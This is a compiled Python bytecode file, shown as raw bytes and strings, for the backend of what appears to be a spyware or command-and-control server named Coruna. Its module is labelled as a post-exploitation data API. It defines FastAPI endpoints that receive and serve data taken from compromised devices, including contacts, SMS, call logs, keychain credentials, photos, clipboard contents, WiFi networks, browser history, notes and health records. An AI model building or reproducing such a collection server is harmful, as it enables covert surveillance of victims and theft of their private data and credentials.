a
    ?j8                     @   s  d Z ddlmZmZmZ ddlmZ ddlmZ ddl	m
Z
 ddlZddlZeddgd	Zed
ee
feej edddZedddee
feeeedddZedee
feej edddZedddee
feeeedddZedee
feej edddZedddee
feeeeddd Zed!ee
feej ed"d#d$Zed%ddee
feeeedd&d'Zed(ee
feej ed)d*d+Zed,ddee
feeeedd-d.Z ed/ee
fej!ed0d1d2Z"ed3dd4ee
feeeedd5d6Z#ed7ee
feej$ ed8d9d:Z%ed;ddee
feeeedd<d=Z&ed>ee
feej' ed?d@dAZ(edBddee
feeeeddCdDZ)edEee
feej* edFdGdHZ+edIddee
feeeeddJdKZ,edLee
feej- edMdNdOZ.edPddee
feeeeddQdRZ/edSee
feej0 edTdUdVZ1edWddee
feeeeddXdYZ2edZee
feej3 ed[d\d]Z4ed^ddee
feeeedd_d`Z5edaee
feej6 edbdcddZ7ededdee
feeeeddfdgZ8dS )hu   后渗透数据 API 路由    )	APIRouterDependsHTTPException)Session)List)get_dbNz/api/postexploitpostexploit)prefixtagsz	/contacts)contactsdbc                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传联系人数据  Device 
 not foundstatus_codedetailTc                 S   s   g | ]
}|j qS  id.0rr   r   ,/root/Coruna-main/backend/api/postexploit.py
<listcomp>       z#upload_contacts.<locals>.<listcomp>)okcountr   )crud
get_devicedevice_uuidr   create_contactappendlen)r   r   resultscontactdeviceresultr   r   r   upload_contacts   s    r(   z/contacts/{device_uuid}d   )r    skiplimitr   c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备联系人列表..modelsContactRecordfromlist)
__import__r-   queryfilterr    order_by
created_atdescoffsetr+   all)r    r*   r+   r   r-   r   r   r   r   get_contacts   s    
r8   z/sms)sms_listr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传短信数据r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   8   r   zupload_sms.<locals>.<listcomp>)r   r   sms)r   r   r    r   
create_smsr"   r#   )r9   r   r$   r:   r&   r'   r   r   r   
upload_sms+   s    r<   z/sms/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备短信列表r,   	SMSRecordr.   )r0   r=   r1   r2   r    r3   	date_sentr5   r6   r+   r7   )r    r*   r+   r   r=   r:   r   r   r   get_sms;   s    
r?   z/calls)callsr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传通话记录r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   T   r   z upload_calls.<locals>.<listcomp>)r   r   r@   )r   r   r    r   create_callr"   r#   )r@   r   r$   callr&   r'   r   r   r   upload_callsG   s    rC   z/calls/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备通话记录r,   
CallRecordr.   )r0   rD   r1   r2   r    r3   date_calledr5   r6   r+   r7   )r    r*   r+   r   rD   r@   r   r   r   	get_callsW   s    
rF   z	/keychain)	keychainsr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传钥匙串数据r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   p   r   z#upload_keychain.<locals>.<listcomp>)r   r   rG   )r   r   r    r   create_keychainr"   r#   )rG   r   r$   keychainr&   r'   r   r   r   upload_keychainc   s    rJ   z/keychain/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备钥匙串数据r,   KeychainRecordr.   )r0   rK   r1   r2   r    r3   r4   r5   r6   r+   r7   )r    r*   r+   r   rK   rG   r   r   r   get_keychainss   s    
rL   z/photos)photosr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传照片数据r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r      r   z!upload_photos.<locals>.<listcomp>)r   r   rM   )r   r   r    r   create_photor"   r#   )rM   r   r$   photor&   r'   r   r   r   upload_photos   s    rP   z/photos/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备照片列表r,   PhotoRecordr.   )r0   rQ   r1   r2   r    r3   
date_takenr5   r6   r+   r7   )r    r*   r+   r   rQ   rM   r   r   r   
get_photos   s    
rS   z
/clipboard)	clipboardr   c                 C   sh   t || j}|stdddtddgdj}|f i |  }|| |  |	| d|j
dS )	u   上传剪贴板内容r   zDevice not foundr   r,   ClipboardRecordr.   T)r   r   )r   r   r    r   r0   rU   dictaddcommitrefreshr   )rT   r   r&   rU   Zdb_clipboardr   r   r   upload_clipboard   s    

rZ   z/clipboard/{device_uuid}2   c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备剪贴板历史r,   rU   r.   )r0   rU   r1   r2   r    r3   	timestampr5   r6   r+   r7   )r    r*   r+   r   rU   
clipboardsr   r   r   get_clipboard   s    
r^   z/apps)appsr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传应用列表r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r      r   zupload_apps.<locals>.<listcomp>)r   r   r_   )r   r   r    r   
create_appr"   r#   )r_   r   r$   appr&   r'   r   r   r   upload_apps   s    rb   z/apps/{device_uuid}c                 C   sB   t ddgdj}|||j| k|j||	 }|S )u   获取设备应用列表r,   	AppRecordr.   )
r0   rc   r1   r2   r    r3   app_namer6   r+   r7   )r    r*   r+   r   rc   r_   r   r   r   get_apps   s    
re   z
/processes)	processesr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传进程列表r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r      r   z$upload_processes.<locals>.<listcomp>)r   r   rf   )r   r   r    r   create_processr"   r#   )rf   r   r$   processr&   r'   r   r   r   upload_processes   s    ri   z/processes/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备进程列表r,   ProcessRecordr.   )r0   rj   r1   r2   r    r3   r4   r5   r6   r+   r7   )r    r*   r+   r   rj   rf   r   r   r   get_processes   s    
rk   z/wifi)wifi_networksr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传WiFi网络数据r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r      r   z(upload_wifi_networks.<locals>.<listcomp>)r   r   rl   )r   r   r    r   create_wifir"   r#   )rl   r   r$   wifir&   r'   r   r   r   upload_wifi_networks   s    ro   z/wifi/{device_uuid}c                 C   sJ   t ddgdj}|||j| k|j |j	|
| }|S )u   获取设备WiFi网络列表r,   
WiFiRecordr.   )r0   rp   r1   r2   r    r3   is_savedr5   ssidr6   r+   r7   )r    r*   r+   r   rp   rl   r   r   r   get_wifi_networks   s    
rs   z/browser_history)history_listr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传浏览器历史r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r     r   z*upload_browser_history.<locals>.<listcomp>)r   r   history)r   r   r    r   create_browser_historyr"   r#   )rt   r   r$   ru   r&   r'   r   r   r   upload_browser_history  s    rw   z/browser_history/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备浏览器历史r,   BrowserHistoryRecordr.   )r0   rx   r1   r2   r    r3   last_visitedr5   r6   r+   r7   )r    r*   r+   r   rx   ru   r   r   r   get_browser_history  s    
rz   z	/calendar)eventsr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传日历事件r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   5  r   z*upload_calendar_events.<locals>.<listcomp>)r   r   r{   )r   r   r    r   create_calendar_eventr"   r#   )r{   r   r$   eventr&   r'   r   r   r   upload_calendar_events(  s    r~   z/calendar/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备日历事件r,   CalendarEventr.   )r0   r   r1   r2   r    r3   
start_dater5   r6   r+   r7   )r    r*   r+   r   r   r{   r   r   r   get_calendar_events8  s    
r   z/notes)notesr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传笔记r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   Q  r   z upload_notes.<locals>.<listcomp>)r   r   r   )r   r   r    r   create_noter"   r#   )r   r   r$   noter&   r'   r   r   r   upload_notesD  s    r   z/notes/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备笔记r,   
NoteRecordr.   )r0   r   r1   r2   r    r3   modified_dater5   r6   r+   r7   )r    r*   r+   r   r   r   r   r   r   	get_notesT  s    
r   z/health)health_data_listr   c                 C   sf   g }| D ]B}t ||j}|s4tdd|j ddt ||}|| qdt|dd |D dS )	u   批量上传健康数据r   r   r   r   Tc                 S   s   g | ]
}|j qS r   r   r   r   r   r   r   m  r   z&upload_health_data.<locals>.<listcomp>)r   r   health_data)r   r   r    r   create_health_datar"   r#   )r   r   r$   r   r&   r'   r   r   r   upload_health_data`  s    r   z/health/{device_uuid}c                 C   sF   t ddgdj}|||j| k|j |	|
 }|S )u   获取设备健康数据r,   HealthRecordr.   )r0   r   r1   r2   r    r3   r   r5   r6   r+   r7   )r    r*   r+   r   r   r   r   r   r   get_health_datap  s    
r   )9__doc__fastapir   r   r   Zsqlalchemy.ormr   typingr   databaser   r   schemasrouterpostContactDatar(   getstrintr8   SMSDatar<   r?   CallDatarC   rF   KeychainDatarJ   rL   	PhotoDatarP   rS   ClipboardDatarZ   r^   AppDatarb   re   ProcessDatari   rk   WiFiDataro   rs   BrowserHistoryDatarw   rz   CalendarEventDatar~   r   NoteDatar   r   
HealthDatar   r   r   r   r   r   <module>   st    " " " " "" " " " " " " 